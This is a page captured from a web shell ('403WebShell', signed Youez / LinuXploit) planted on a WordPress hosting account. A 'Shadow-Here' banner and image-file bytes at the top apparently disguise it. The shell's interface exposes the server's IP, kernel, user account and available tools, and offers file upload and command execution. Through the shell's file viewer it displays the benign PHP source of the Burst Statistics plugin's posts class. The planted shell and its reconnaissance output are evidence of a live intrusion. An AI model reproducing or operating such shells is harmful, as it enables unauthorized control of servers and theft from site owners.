....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 51.91.236.193  /  Your IP : 216.73.216.177
Web Server : Apache
System : Linux webm019.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : thillelirn ( 8290)
PHP Version : 8.0.30
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thillelirn/sexo_tlse/wp-content/plugins/burst-statistics/includes/Admin/Posts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/thillelirn/sexo_tlse/wp-content/plugins/burst-statistics/includes/Admin/Posts/class-posts.php
<?php
namespace Burst\Admin\Posts;

use Burst\Traits\Admin_Helper;
use Burst\Traits\Helper;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Posts {
	use Admin_Helper;
	use Helper;

	private array $time_range_options = [];
	private string $default_option    = '30_days';
	/**
	 * Initialize the posts class
	 */
	public function init(): void {
		add_action( 'admin_init', [ $this, 'add_burst_admin_columns' ], 1 );
		add_action( 'pre_get_posts', [ $this, 'posts_orderby_total_pageviews' ], 1 );
		add_action( 'load-edit.php', [ $this, 'add_screen_options' ] );
		add_filter( 'init', [ $this, 'load_screen_options' ], 10 );
		add_filter( 'init', [ $this, 'save_screen_option' ], 10 );
	}

	/**
	 * Load screen options for Burst.
	 */
	public function load_screen_options(): void {
		$this->time_range_options = [
			'today'    => __( 'Today', 'burst-statistics' ),
			'7_days'   => __( '7 days', 'burst-statistics' ),
			'30_days'  => __( '30 days', 'burst-statistics' ),
			'3_months' => __( '3 months', 'burst-statistics' ),
			'1_year'   => __( '1 year', 'burst-statistics' ),
			'all_time' => __( 'All time', 'burst-statistics' ),
		];
	}

	/**
	 * Sanitize the time range string.
	 */
	private function sanitize_time_range( string $time_range ): string {
		$keys = array_keys( $this->time_range_options );
		if ( ! in_array( $time_range, $keys, true ) ) {
			return $this->default_option;
		}
		return $time_range;
	}

	/**
	 * Save our screen option.
	 */
	public function save_screen_option(): void {
		if ( isset( $_POST['burst_pageviews_timerange'] ) ) {

			check_admin_referer( 'screen-options-nonce', 'screenoptionnonce' );
			update_user_meta(
				get_current_user_id(),
				'burst_pageviews_timerange',
				$this->sanitize_time_range( sanitize_text_field( wp_unslash( $_POST['burst_pageviews_timerange'] ) ) )
			);
		}
	}
	/**
	 * Add screen options for pageview timerange
	 *
	 * @since 1.1
	 */
	public function add_screen_options(): void {
		$screen = get_current_screen();
		if ( is_null( $screen ) || ! in_array( $screen->post_type, $this->get_burst_column_post_types(), true ) ) {
			return;
		}

		if ( ! $this->user_can_view() ) {
			return;
		}

		add_screen_option(
			'burst_pageviews_timerange',
			[
				'label'   => __( 'Pageviews date range', 'burst-statistics' ),
				'default' => '30_days',
				'option'  => 'burst_pageviews_timerange',
			]
		);
		add_filter( 'screen_settings', [ $this, 'add_timerange_dropdown' ], 10, 2 );
	}

	/**
	 * Add time range dropdown to screen options.
	 *
	 * @param string|null $settings Screen settings HTML.
	 * @param \WP_Screen  $screen Current screen object.
	 * @return string Modified screen settings HTML.
	 */
	public function add_timerange_dropdown( ?string $settings, \WP_Screen $screen ): string {
		if ( ! in_array( $screen->post_type, $this->get_burst_column_post_types(), true ) ) {
			return $settings;
		}

		if ( ! $this->user_can_view() ) {
			return $settings;
		}

		$timerange      = $this->get_selected_timerange();
		$dropdown_html  = '<fieldset class="burst-pageviews-timerange">';
		$dropdown_html .= '<legend>' . esc_html__( 'Pageviews time range', 'burst-statistics' ) . '</legend>';
		$dropdown_html .= '<select name="burst_pageviews_timerange" id="burst-pageviews-timerange">';

		foreach ( $this->time_range_options as $value => $label ) {
			$selected       = selected( $timerange, $value, false );
			$dropdown_html .= sprintf(
				'<option value="%s" %s>%s</option>',
				esc_attr( $value ),
				$selected,
				esc_html( $label )
			);
		}

		$dropdown_html .= '</select>';
		$dropdown_html .= '</fieldset>';

		return $settings . $dropdown_html;
	}

	/**
	 * Get the selected time range
	 */
	private function get_selected_timerange(): string {
		return $this->sanitize_time_range( get_user_meta( get_current_user_id(), 'burst_pageviews_timerange', true ) );
	}

	/**
	 * Get start timestamp based on timerange
	 */
	private function get_start_timestamp( string $time_range ): int {
		$start_of_today = self::convert_date_to_unix( gmdate( 'Y-m-d', strtotime( 'today' ) ) . ' 00:00:00' );
		switch ( $time_range ) {
			case 'today':
				return $start_of_today;
			case '7_days':
				return $start_of_today - WEEK_IN_SECONDS;
			case '3_months':
				return $start_of_today - 3 * MONTH_IN_SECONDS;
			case '1_year':
				return $start_of_today - YEAR_IN_SECONDS;
			case 'all_time':
				// earliest possible start timestamp, is date of burs release.
				$first_burst_release = 1640995200;
				return get_option( 'burst_activation_time', $first_burst_release );
			default:
				return $start_of_today - 30 * DAY_IN_SECONDS;
		}
	}

	/**
	 * Get start timestamp based on timerange
	 */
	private function get_end_timestamp( string $time_range ): int {
		$start_of_today = self::convert_date_to_unix( gmdate( 'Y-m-d', strtotime( 'today' ) ) . ' 00:00:00' );
		switch ( $time_range ) {
			case 'today':
				return time();
			case '7_days':
			case '3_months':
			case '1_year':
			case 'all_time':
			default:
				return $start_of_today;
		}
	}

	/**
	 * Get burst column post types
	 */
	private function get_burst_column_post_types(): array {
		return apply_filters(
			'burst_column_post_types',
			get_post_types( [ 'public' => true ] )
		);
	}

	/**
	 * Add counts column
	 *
	 * @since 1.1
	 */
	public function add_admin_column( string $column_name, string $column_title, string $post_type, bool $sortable, callable $cb ): void {
		// Add column.
		add_filter(
			'manage_' . $post_type . '_posts_columns',
			function ( $columns ) use ( $column_name, $column_title ) {
				$columns[ $column_name ] = $column_title;

				return $columns;
			}
		);

		add_action(
			'admin_head',
			function (): void {
				if ( get_current_screen()->post_type === 'product' ) {
					echo '<style>
			.wp-list-table .column-pageviews {
				width: 14%;
			}
		</style>';
				}
			}
		);

		// Add column content.
		add_action(
			'manage_' . $post_type . '_posts_custom_column',
			function ( $column, $post_id ) use ( $column_name, $cb ): void {
				if ( $column_name === $column ) {
					$cb( $post_id );
				}
			},
			10,
			2
		);

		// Add sortable column.
		if ( $sortable ) {
			add_filter(
				'manage_edit-' . $post_type . '_sortable_columns',
				function ( $columns ) use ( $column_name ) {
					$columns[ $column_name ] = $column_name;

					return $columns;
				}
			);
		}
	}

	/**
	 * Function to add pageviews column to post table
	 *
	 * @since 1.1
	 */
	public function add_burst_admin_columns(): void {
		if ( ! $this->user_can_view() ) {
			return;
		}

		$burst_column_post_types = $this->get_burst_column_post_types();
		$time_range              = $this->get_selected_timerange();
		$start                   = $this->get_start_timestamp( $time_range );
		$end                     = $this->get_end_timestamp( $time_range );

		$time_range_label = $this->time_range_options[ $time_range ];
		foreach ( $burst_column_post_types as $post_type ) {
			$this->add_admin_column(
				'pageviews',
				'<span title="' . esc_attr( $this->get_column_title( $time_range ) ) . '">' . __( 'Pageviews', 'burst-statistics' ) . ' </span>',
				$post_type,
				true,
				function ( $post_id ) use ( $start, $end ): void {
					$page_views = \Burst\burst_loader()->frontend->get_post_pageviews( $post_id, $start, $end );
					echo esc_html( $this->format_number_short( $page_views ) );
				}
			);
		}
	}

	/**
	 * Get column title based on time range
	 */
	private function get_column_title( string $time_range ): string {
		switch ( $time_range ) {
			case 'today':
				return __( 'Total number of pageviews for today.', 'burst-statistics' );
			case '7_days':
				return __( 'Total number of pageviews of the past 7 days.', 'burst-statistics' );
			case '3_months':
				return __( 'Total number of pageviews of the past 3 months.', 'burst-statistics' );
			case '1_year':
				return __( 'Total number of pageviews of the past year.', 'burst-statistics' );
			case 'all_time':
				return __( 'Total number of pageviews, all time.', 'burst-statistics' );
			default:
				return __( 'Total number of pageviews of the past 30 days.', 'burst-statistics' );
		}
	}

	/**
	 * Function to order posts by pageviews
	 */
	public function posts_orderby_total_pageviews( \WP_Query $query ): void {
		if ( ! is_admin() || ! $query->is_main_query() || ! $this->user_can_view() ) {
			return;
		}

		if ( 'pageviews' === $query->get( 'orderby' ) ) {
			add_filter( 'posts_join', [ $this, 'join_pageviews_table' ], 20 );
			add_filter( 'posts_fields', [ $this, 'select_pageviews_field' ], 20 );
			add_filter( 'posts_orderby', [ $this, 'orderby_pageviews' ], 20 );
			add_filter( 'posts_groupby', [ $this, 'groupby_post_id' ], 20 );
			// Cleanup after query is completely done.
			add_action( 'wp_loaded', [ $this, 'cleanup_pageviews_filters' ], 999 );
		}
	}

	/**
	 * Join the pageviews for the ordering
	 */
	public function join_pageviews_table( string $join ): string {
		global $wpdb, $wp_query;

		$current_post_type = $wp_query->get( 'post_type' );
		if ( empty( $current_post_type ) ) {
			$current_post_type = 'post';
		}

		$timerange = $this->get_selected_timerange();
		$start     = $this->get_start_timestamp( $timerange );
		$end       = $this->get_end_timestamp( $timerange );
		if ( $start > 0 ) {
			$join .= $wpdb->prepare(
				" LEFT JOIN (
	            SELECT page_id, COUNT(*) as pageview_count
	            FROM {$wpdb->prefix}burst_statistics
	            WHERE page_id > 0 AND page_type = %s AND time >= %d AND time <= %d
	            GROUP BY page_id
	        ) burst_stats ON {$wpdb->posts}.ID = burst_stats.page_id",
				$current_post_type,
				$start,
				$end
			);
		} else {
			// All time - no time restriction.
			$join .= $wpdb->prepare(
				" LEFT JOIN (
	            SELECT page_id, COUNT(*) as pageview_count
	            FROM {$wpdb->prefix}burst_statistics
	            WHERE page_id > 0 AND page_type = %s
	            GROUP BY page_id
	        ) burst_stats ON {$wpdb->posts}.ID = burst_stats.page_id",
				$current_post_type
			);
		}

		return $join;
	}

	/**
	 * Select the pageviews for the ordering.
	 */
	public function select_pageviews_field( string $fields ): string {
		$fields .= ', COALESCE(burst_stats.pageview_count, 0) as pageviews';
		return $fields;
	}

	/**
	 * Actual ordering.
	 */
	public function orderby_pageviews( string $orderby ): string {
		global $wp_query;
		if ( $wp_query->get( 'orderby' ) === 'pageviews' ) {
			$order   = $wp_query->get( 'order' ) === 'ASC' ? 'ASC' : 'DESC';
			$orderby = "pageviews $order";
		}
		return $orderby;
	}

	/**
	 * Group by for ordering.
	 */
	public function groupby_post_id( string $groupby ): string {
		global $wpdb;
		if ( empty( $groupby ) ) {
			$groupby = "{$wpdb->posts}.ID";
		}
		return $groupby;
	}

	/**
	 * Cleanup filters after ordering.
	 */
	public function cleanup_pageviews_filters( array $posts, \WP_Query $query ): array {
		if ( 'pageviews' === $query->get( 'orderby' ) ) {
			remove_filter( 'posts_join', [ $this, 'join_pageviews_table' ] );
			remove_filter( 'posts_fields', [ $this, 'select_pageviews_field' ] );
			remove_filter( 'posts_orderby', [ $this, 'orderby_pageviews' ] );
			remove_filter( 'posts_groupby', [ $this, 'groupby_post_id' ] );
			remove_action( 'the_posts', [ $this, 'cleanup_pageviews_filters_once' ] );
		}
		return $posts;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit